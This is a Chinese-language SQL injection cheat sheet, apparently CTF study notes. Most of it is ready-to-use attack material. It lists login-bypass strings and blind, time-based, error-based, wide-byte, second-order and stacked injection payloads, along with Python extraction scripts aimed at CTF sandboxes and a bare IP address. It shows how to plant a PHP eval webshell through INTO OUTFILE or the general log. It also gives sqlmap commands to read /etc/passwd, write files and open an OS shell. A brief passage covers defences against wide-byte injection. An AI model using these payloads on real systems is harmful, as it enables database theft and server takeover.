SQL注入-常用姿势

闭合

'
"
)
))
')
")
'))
"))
';
\

万能密码

' or 1='1
' || 1#
' & 1#
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

普通手注

1.数据库总数
select count(SCHEMA_NAME) from information_schema.SCHEMATA)

2.数据库长度
length(database())

3.数据库名字
database()
select group_concat(schema_name) from information_schema.schemata

4.表的个数
select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()

5.表名长度
select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1

6.表名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 

7.列数
select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名'

8.列名长度
select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1

9.列名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1

10.数据长度
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1

11.数据
select concat(username,"-----",password) from admin limit 0,1),1,1

盲注

盲注常用函数

截取

left(), right(), substring(), substring_index(), mid(), substr()
其中mid(), substr() 等价于 substring() 函数
ORD()  ascii()                  :转换成ascii码
Length()                        :统计长度
Sleep()                         :延迟函数
benchmark()                     :延迟函数
If(condition,true,false)        :条件语句
regexp                          :正则
database()                      :查看当前数据库名
version()                       :查看数据库版本
user()                          :查看当前用户

按位爆破

left()
ascii()、substr()
regexp
if()
ord()、mid()
?id=1'and left((select database() limit 0,1),1)='s'#

布尔

漏洞验证

' or  length(database())>1#

攻击

if(ascii(substr(select xxx,x,1))>x,1,0)
mid(select ,1,1)='z'
left((select database() limit 0,1),1)='s'#
ORD(mid(database(),1,1)) > 100
select xxx ='user' 
xxxx regexp '^us[a-z]'

脚本处理

import requests
url='http://challenge-76d8ef356dbd48f7.sandbox.ctfhub.com:10800/'
flag=''
min=0
max=127
mid=int((min+max)/2)

for i in range(25):
    while mid>min:
        #payload="if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,0)".format(i,mid)
        #payload="if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),{},1))>{}),1,0)".format(i,mid)
        payload="if((ascii(substr(right((select group_concat(flag) from flag),10),{},1))>{}),1,0)".format(i,mid)
        #payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
        params={
            'id':payload
             }
        res=requests.get(url,params=params).text
        if 'query_success' in res:
              min=mid
              mid=int((min+max)/2)
        else:
            max=mid
            mid=int((min+max)/2)
    flag+=chr(mid+1)
    print(flag)
    min=0
    max=127
    mid=int((min+max)/2)
print(flag)

时间

验证

' and sleep(3)#
benchmark(50000000,encode('msg','key')) //运行encode('msg','key')操作50000000 次,会占用一段时间。

攻击

1.if(ascii(substr(select xxx,x,1))>x,sleep(2),0)
2.sleep(if((lengrh(database())>1,0,5))
3.sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+

脚本处理

times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 2:
   flag+=...
import requests
import time
url='http://challenge-246727d4e05c9be7.sandbox.ctfhub.com:10800/'
flag=''
min=0
max=127
mid=int((min+max)/2)

for i in range(25):
    while mid>min:
        payload="if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),sleep(2),0)".format(i,mid)
        #payload="if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),{},1))>{}),1,0)".format(i,mid)
        #payload="if((ascii(substr(right((select group_concat(flag) from flag),10),{},1))>{}),1,0)".format(i,mid)
        #payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
        params={
            'id':payload
             }
        times = time.time()
        res=requests.get(url,params=params).text
        if time.time() - times >= 2:
              min=mid
              mid=int((min+max)/2)
        else:
            max=mid
            mid=int((min+max)/2)
    flag+=chr(mid+1)
    print(flag)
    min=0
    max=127
    mid=int((min+max)/2)
print(flag)

https://www.cnblogs.com/forforever/p/13019703.html

sleep()

sleep(x)
select sleep(5);

benchmark(t,exp)

重复执行某表达式

 benchmark(t,exp)
     select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟,
     比如select benchmark(1000000,encode("hello","good"));
     select benchmark( 5000000, md5( 'test' ));

笛卡尔积

 笛卡尔积(因为连接表是一个很耗时的操作)
     AxB=A和B中每个元素的组合所组成的集合,就是连接表
     SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
     select * from table_name A, table_name B
     select * from table_name A, table_name B,table_name C
     select count(*) from table_name A, table_name B,table_name C  表可以是同一张表
import requests

# sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #Flllag
# sql = "select group_concat(column_name) from information_schema.columns where table_name='Flllag' and table_schema=database()" #Flagg
sql = "select group_concat(Flagg) from Flllag"
j = 36
flag = "flag{h3Ltx545LiDwpjQ8Ij1x241wIxS4fa"


while True:
    for i in range(32, 128):
        burp0_url = "http://web-bd1bbd084b.challenge.xctf.org.cn/index.php?id=1'||case+when(ascii(substr(({}),{},1))={})then(select sum('1')from information_schema.tables A,information_schema.columns B,information_schema.columns C)end-- ".format(sql, j, i)#case代替if
        print burp0_url
        try:
            requests.get(burp0_url, timeout=3)
            if i == 127:
                j = -1
        except:
            flag += chr(i)
            print flag
            j += 1
            break

    if j == -1:
        print flag
        exit(0)

GET_LOCK()

GET_LOCK(key,timeout) 需要两个连接会话 RELEASE_LOCK(key) 锁是否释放,释放了返回1 IS_FREE_LOCK(key) 返回当前连接ID,表示名称为’xxxx’的锁正在被使用。 key 锁的名字,timeout加锁等待时间,时间内未加锁成功则事件回滚。get_lock 加锁成功返回1, 这个锁是应用程序级别的,在不同的mysql会话之间使用,是名字锁,不是锁具体某个表名或字段,具体是锁什么完全交给应用程序。它是一种独占锁,意味着哪个会话持有这个锁,其他会话尝试拿这个锁的时候都会失败。 session A select get_lock(’test’,1); session B select get_lock(’test’,5); 可以指定表也可以不指定 直到关闭连接会话结束,锁才会释放,但不像redis那样加了锁只要不主动释放就一直有。 但是当会话1 get_lock 后,未释放。会话2 不get_lock 同一个key,或者就不get_lock,依然可以对数据进行任何操作,所以加锁只是说人为的主观的想要让某些操作同时只有一个连接能进行操作,别的连接不调用get_lock加同一个锁,那它不会受到任何影响,想干什么干什么。

session1

image-20230721222137114

session2

image-20230721222155415

get_lock:但是当会话1 get_lock 后,未释放。会话2 不get_lock 同一个key,或者就不get_lock,依然可以对数据进行任何操作,所以加锁只是说人为的主观的想要让某些操作同时只有一个连接能进行操作,别的连接不调用get_lock加同一个锁,那它不会受到任何影响,想干什么干什么。

session1

image-20230721222226072

session2

image-20230721222245207

优缺点分析 (1)这种方式对于更新所有列比较有效,但是得把查询的语句也放在锁内执行; (2)这种方式当客户端无故断线了会自动释放锁,比较好,不像redis锁那样,如果加完锁断了,那么锁一直在; (3)这种方式是针对锁内的所有操作加锁,并不针对特定表或特定行,所以使用了同一个Key的锁但不同的操作都会共用一把锁,会导致效率低下; (4)如果查询语句放在锁之前,则数据可能是旧的,更新之后会把查询之后更新之前别的客户端更新的数据覆盖掉;

RLIKE正则

通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

 select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
 
 正则语法:
 . : 匹配任意单个字符
 * : 匹配0个或多个前一个得到的字符
 [] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
 ^ : 匹配开头,如^s匹配以s或者S开头的字符串。
 $ : 匹配结尾,如s$匹配以s结尾的字符串。
 {n} : 匹配前一个字符反复n次。

 RPAD(str,len,padstr)
 用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
 mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'
 
 repeat(str,times)  复制字符串times次

寻找新的延迟函数

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码等同于 sleep(5)

报错

常用函数

 rand()  产生一个不固定的0~1的随机数列,加了参数之后会变成固定的伪随机数列
 rand(0),rand(1),当使用一个整数参数时,rand使用该参数作为种子生成一个固定的伪随机数列
 floor  向下取整 floor(2.5) == 2
 count()统计元组的个数
 concat() 字符串连接 concat('~~','aaa','bbb',) =>'aaa~~bbb' 
 concat_ws() 字符串连接 concat_ws('~~','aaa','bbb',) =>'aaa~~bbb'   
 extractvalue(最长32位)	MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是 ExtractValue() 
 updateXml(最长32位)
 name_const(): mysql存储过程中的本地变量会被一个内部函数 name_const 转化,似乎是专门为存储过程设计的,没有提到有其它特别之处. 	

姿势

1.利用 floor(rand(x)*2) 的执行bug进行报错注入
concat((查询语句),floor(rand(0)*2))
?id=1" union select 1,count(*),concat((查询语句),floor(rand(0)*2))a from information_schema.columns group by a#
?id=1" and (select 1 from(select count(*),concat((查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#

2.报错函数
1" and extractvalue(1,concat(0x7e,(查询语句)))#
1 and updatexml(1,concat(0x7e,(查询语句),0x7e),1)#

3.name_const
1" union select 1,2,3 from (select name_const((查询语句),1),name_const((查询语句),1))x #

4.double
1" union select (exp(~(select * from(select user())a))),2,3#

5.bright
1" union select (!(select * from (select user())x) - ~0),2,3#

宽字节

https://cs-cshi.github.io/cybersecurity/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E6%B7%B1%E5%BA%A6%E8%AE%B2%E8%A7%A3/

简略

1%df’ or 1=1%23

当单引号被转义,但数据库使用的编码是gbk编码(两个字节表示一个字符的时候),==%df会与反斜杠闭合形成一个新的字符从而闭合单引号==。

username = %df’

# 经gbk解码后变为:

select * from users where username =’運’#

1、宽字节概念

宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节

GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节

转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string 等,还有一种是配置magic_quote_gpc,不过 PHP 高版本已经移除此功能。

宽字节注入时==利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字==

2、addslashes()函数

1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

2、预定义字符:单引号(’),双引号("),反斜杠(\),NULL

3. SQL的执行过程

  1. 以 php 客户端为例,使用者输入数据后,会==通过php的默认编码生成sql语句发送给服务器==。在php没有开启default_charset编码时,php的默认编码为空。

    image-20240108113753876

  2. 服务器接收到请求后会==把客户端编码的字符串转换成连接层编码字符串==(具体流程是先使用系统变量 character_set_client 对 SQL 语句进行解码后,然后使用 系统变量 character_set_connection 对解码后的十六进制进行编码)。

    image-20240108113817814

  3. 进行内部操作前,将请求按照如下规则转化成内部操作字符集,如下:

    • 使用字段 CHARACTER SET 设定值;

    • 若上述值不存在,使用对应数据表的DEFAULT CHARACTER SET设定值;

      image-20240108113857981

    • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

    • 若上述值不存在,则使用character_set_server设定值。

  4. 执行完 SQL 语句之后,将==执行结果按照 character_set_results 编码进行输出==。

4. 宽字节注入

简单的说有两种情况可能会造成宽字节注入

首先是设置数据库的字符集为gbk,此外是在使用iconv,mb_convert_encoding转换字符编码函数导致宽字节注入

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

image-20240108113947278

==宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码,然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码==

以下是数据的变化过程:

%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

5. 防护手段

使用mysql_set_charset(GBK)指定字符集

SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

使用mysql_real_escape_string进行转义

mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集),不会出现前面的df和5c拼接为一个宽字节的问题

以上两个条件需要同时满足才行,缺一不可。

6.编码转换

这种情况不太一样

$userid = iconv('utf-8','gbk',$userid)
$userid = mb_convert_encoding('utf-8','gbk',$userid)
如果存在这样的注入语句$userid = admin' or 1=1--,那么久可以绕过addslashes注入。原理和2相同
而如果反过来,也同样存在字节注入
$userid = iconv(''gbk',utf-8',$userid)
$userid = mb_convert_encoding('gbk','utf-8',$userid)
只需要把注入语句改为$userid = admin運' or 1=1--,原理同上
  • iconv('utf-8', 'gbk', $id)

    同样也使用了 addslashes转义,然后使用iconv进行转码,由utf-8 –>gbk

    为了避免宽字节注入,很多人使用iconv函数(能够完成各种字符集间的转换$text=iconv(“UTF-8”,”GBK”,$text);),其实这样做是有很大风险的,仍旧可以造成宽字节注入。

    可以使用逆向思维,先找一个gbk的汉字錦,錦的utf-8编码是0xe98ca6,它的gbk编码是0xe55c,是不是已经看出来了,当传入的值是錦’,’通过addslashes转义为’(%5c%27),錦通过icov转换为%e5%5c,终止变为了%e5%5c%5c%27,不难看出%5c%5c正好把反斜杠转义,使单引号逃逸,造成注入。

    <?php
    //连接数据库部分,注意使用了gbk编码
    $conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
    mysql_query("SET NAMES 'gbk'");
    mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
    //执行sql语句
    mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); 
    $id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
    $id = iconv('utf-8', 'gbk', $id);
    $sql = "SELECT * FROM news WHERE tid='{$id}'";
    $result = mysql_query($sql, $conn) or die(mysql_error());
    echo "<br>"."sql:".$sql."<br>"
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="gbk" />
    <title>gbk change utf-8</title>
    </head>
    <body>
    <?php
    $row = mysql_fetch_array($result, MYSQL_ASSOC);
    echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
    mysql_free_result($result);
    ?>
    </body>
    </html>
    

二次

具体情况具体判断

贴一个脚本

import requests
import re
from time import sleep


def flag():
    flag = ''
    url = 'http://106.54.163.94:10000/'
    url1 = url + 'register.php'
    url2 = url + 'login.php'
    url3 = url + 'user.php'
    url4 = url + 'index.php'
    for i in range(1, 45):
       
        s = requests.Session()
        for j in range(1,128):
            # 注册数据包
            data1 = {
                "email": f"aiwin@163.com",
                "username": f"3' and if((ascii(substr((select f14g from f14g), {i}, 1)) = {j}), 1, 0)#",
                "password": "1@#af3532",
                "confirmpass": "1@#af3532",
                "register": "1@#af3532"
            }
            # 登录数据包
            data2 = {
                "username": f"3' and if((ascii(substr((select f14g from f14g), {i}, 1)) = {j}), 1, 0)#",
                "password": "1@#af3532",
                "login": "1"
            }
            # 发送日记数据包
            data4 = {
                "content": "123",
                "submit": "%E4%BF%9D%E5%AD%98"
            }

            response_regt = requests.post(url=url1, data=data1)
            response_login = s.post(url=url2, data=data2)
            response_sent = s.post(url=url3, data=data4)
            response_see = s.get(url=url4)
            #print(response_see.text)
            if "uploads/default.jpg" in response_see.text:  # 正确则将low = mid + 1,继续搜索
               
           
                flag = flag + chr(j)
                print(flag)

 


if __name__ == '__main__':
    flag()

堆叠

https://xz.aliyun.com/t/3950

PHP连接MySQL数据库有三种方式(MySQL、Mysqli、PDO)

Mysqli PDO MySQL
服务端prepare语句的支持情况 ==是== ==是==
客户端prepare语句的支持情况
多语句执行支持情况 ==大多数==

只有sqli和pdo有堆叠注入(包括预处理)

前者通过mysqli_query()函数来进行多语句执行,后者通过query()函数

存在堆叠注入的判断方法 : 名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。

'   报错

';  恢复正常

"   正常

payload

asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -

理解

mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)')         |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> set @a=0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> execute test;
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

写shell

select @@basedir;查网站的物理路径

查看数据库是否有导入权限,看能否直接导入木马
SHOW GLOBAL VARIABLES LIKE '%secure%'
有的话直接写入
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/home/wwwroot/default/p.php'

如果没有,查看是否有开启日志记录
SHOW GLOBAL VARIABLES LIKE ‘%general%’
日志记录功能关闭,但是可以开启
SET GLOBAL general_log = ON
SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php'
select '<?php eval ($_POST[hack]);?>'
执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马

sqlmap

https://xz.aliyun.com/t/3010

查询sqlmap是否存在注入命令 sqlmap.py -u url/?id=1 查询当前用户下的所有数据库 sqlmap.py -u url/?id=1 –dbs 获取数据库的表名 sqlmap.py -u url/?id=1 -D (数据库名) –tables 获取表中的字段名 sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) –columns 获取字段的内容 sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) –dump 查询数据库的所有用户 sqlmap.py -u url/?id=1 –users 查询数据库的所有密码 sqlmap.py -u url/?id=1 –passwords 查询数据库名称 sqlmap.py -u url/?id=1 –current-db

当level为2的时候,会测试cookie,当level为3的时候,会测试referer ● cookie注入 sqlmap -u “http://challenge-f1edf57468fa1d1e.sandbox.ctfhub.com:10800/" –cookie “id=1” –level 2 -D sqli -T lfjweaxdqf -C rtncvknbao –dump –batch ● UA注入 sqlmap -u http://challenge-220e14565861aa9a.sandbox.ctfhub.com:10800/ –level 3 –dbs sqlmap -r “a.txt” -p “User-Agent” –dbms mysql –dbs –level 3 –batch sqlmap -r “a.txt” -p “Referer” –dbs –level 3 –batch sqlmap -r “a.txt” -level 3 -D sqli –dump –batch

  • post注入

    sqlmap -u http://vip.fj0730.cn/login.asp --data "username=admin&password=123456&submit=%E7%99%BB%E5%BD%95"  --batch  -

● 过滤空格 这里需要用到sqlmap的脚本 space2comment.py 用”/**/“替换空格符 sqlmap -u “http://challenge-08073c0be83e8616.sandbox.ctfhub.com:10800/?id=1" -D sqli –dump –tamper=space2comment.py –batch –tamper=space2plus.py

sqlmap -r 1.txt --batch  –file-read='/etc/passwd'

sqlmap -r 1.txt --current-user
sqlmap -r 1.txt privileges -U root
sqlmap -r 1.txt --batch   –file-write 1.php  –file-dest /var/www/html/1.php --dbms MySql   需要dba权限

sqlmap -r 1.txt  --os-cmd "cat /f*" -  //执行cmd代表的命令,如cd C:/
sqlmap -r 1.txt  --os-shell  //进入数据库自带的shell

注入位置

select ① *② from ctf③ where id=1④ order by name⑤ limit 0,1⑥;

注入点越靠前,可操作性就越强

  1. 代表select动词可控,可以改写整条sql语句,甚至可以变成delete、update语句,还可以使用set修改一些环境变量

  2. 查询字段可控,可以查询任何数据

  3. 表名可控,可以更换表名,需要注意前面的是否为*,不过也可以构造任意的where

    select ① *② from [test where 1=1 and select ...#] where id=1④ order by name⑤ limit 0,1⑥;
  4. 最常见的注入位置

  5. 成为order by注入,这里已经无法使用union了需要使用一些函数来引入SQL语句,如if、rand等

    时间注入

    select ① *② from ctf③ where id=1④ order by [id,if(1=2,1,sleep(1)] limit 0,1⑥;

    由于order by位置对参数有要求,可以利用特殊符号引发报错

    盲注(修改1=2通过是否报错来判断)

    select ① *② from ctf③ where id=1④ order by [id,1 and extractvalue(1,if(1=2,1,'@'))] limit 0,1⑥;
  6. limit注入,目前唯一公开的方法是使用procedure analyse语句注入,并且在mysql 5.6.6修复了,5.0-5.6.6才可以

    需要注意的是如果limit前面没有orderby也是可以用union的

    select ① *② from ctf③ where id=1④ order by name⑤ limit [1,1 procedure analyse(1,extractvalue(rand(),concat(0x3a,data)))];
0%